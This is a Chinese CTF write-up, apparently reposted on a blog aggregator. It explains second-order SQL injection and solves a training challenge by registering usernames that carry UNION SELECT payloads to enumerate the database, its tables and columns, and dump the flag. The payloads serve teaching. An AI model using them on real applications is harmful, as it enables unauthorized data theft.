当前位置:网站首页>October 2019 Twice SQL Injection
October 2019 Twice SQL Injection
2022-08-03 21:55:00 【茶经新读.】
October 2019 Twice SQL Injection
题目提示我们是二次注入(SQL注入(二次注入) - 知乎),二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。
二次注入的原理:
在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加"\"进行转义,但是"\"并不会插入到数据库中,再写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候直接从数据库中取除了“脏”数据,并没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中有单引号,直接插入到了数据库中;然后再下一次使用中在拼凑的过程中就形成了二次注入。
随意注册一个账户然后登录,输入sql语句,发现服务器将我们的单引号用\转义,并没有过滤关键字
这时我们需要注册恶意用户名来登录获得我们想知道的内容
注册用户名为1' union select database() #,密码为a的用户
返回到登录页面输入刚才注册的用户名(1' union select database() #)和密码(a)
登录发现爆出了数据库ctftraining
使用同样的方法来爆表:用户名:1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #,密码:a,注册登录
得到flag,news,users三个表
查一下flag表的字段:用户名:1' union select group_concat(column_name) from information_schema.columns where table_name='flag' #,密码:a,同样的注册登录
得到flag字段
查看一下flag字段的内容:用户名:1' union select flag from flag #,密码:a
得到flag
至此结束,撒花
边栏推荐
- 聚焦开源与联合共创|麒麟软件出席开源峰会欧拉分论坛
- 什么密码,永远无法被黑客攻破?
- IO thread process -> thread synchronization mutual exclusion mechanism -> day6
- DO280管理和监控OpenShift平台--资源限制
- 4. Modular programming
- 376. Wiggle Subsequence
- C. Keshi Is Throwing a Party- Codeforces Global Round 17
- CAS:1620523-64-9_Azide-SS-biotin_biotin-disulfide-azide
- 《QDebug 2022年7月》
- CAS: 773888-45-2_BIOTIN ALKYNE_生物素-炔基
猜你喜欢
gtk实现图片旋转
AI首席架构师13-AICA-智能文档分析技术在行业场景中的应用
【kali-漏洞扫描】(2.1)Nessus解除IP限制、扫描快无结果、插件plugins被删除(中)
[3D检测系列-PV-RCNN] PV-RCNN论文详解、PV-RCNN代码复现、包含官网PV-RCNN预训练权重及报错问题
什么密码,永远无法被黑客攻破?
反射机制
LyScript 实现应用层钩子扫描器
CAS:1620523-64-9_Azide-SS-biotin_biotin-disulfide-azide
YOLO之父宣布退出CV界,坦言无法忽视自己工作带来的负面影响
DO280管理和监控OpenShift平台--资源限制
随机推荐
易基因|RNA m5C甲基化测序(RNA-BS)技术介绍
关于GPIO你真的懂了吗?这篇文章都给你整理好了
HCIP第十三天
MMA安装及使用优化
【kali-漏洞扫描】(2.1)Nessus下载安装(上)
反射机制
A. Color the Picture- Codeforces Round #810 (Div. 1)
什么密码,永远无法被黑客攻破?
决策树、GBDT、XGBOOST树的可视化
Pay from 0 to 1
XSS online shooting range---Warmups
LyScript 实现应用层钩子扫描器
线程池的高级应用技巧核心解读
472. Concatenated Words
LitJson报错记录
三年黑盒测试工程师对嵌入式软件测试的理解
2022年全国职业院校技能大赛网络安全 B模块 任务十windows操作系统渗透测试 国赛原题
XSS holes emersion
XSS线上靶场---prompt
嵌入式开发:嵌入式基础——代码和数据空间揭秘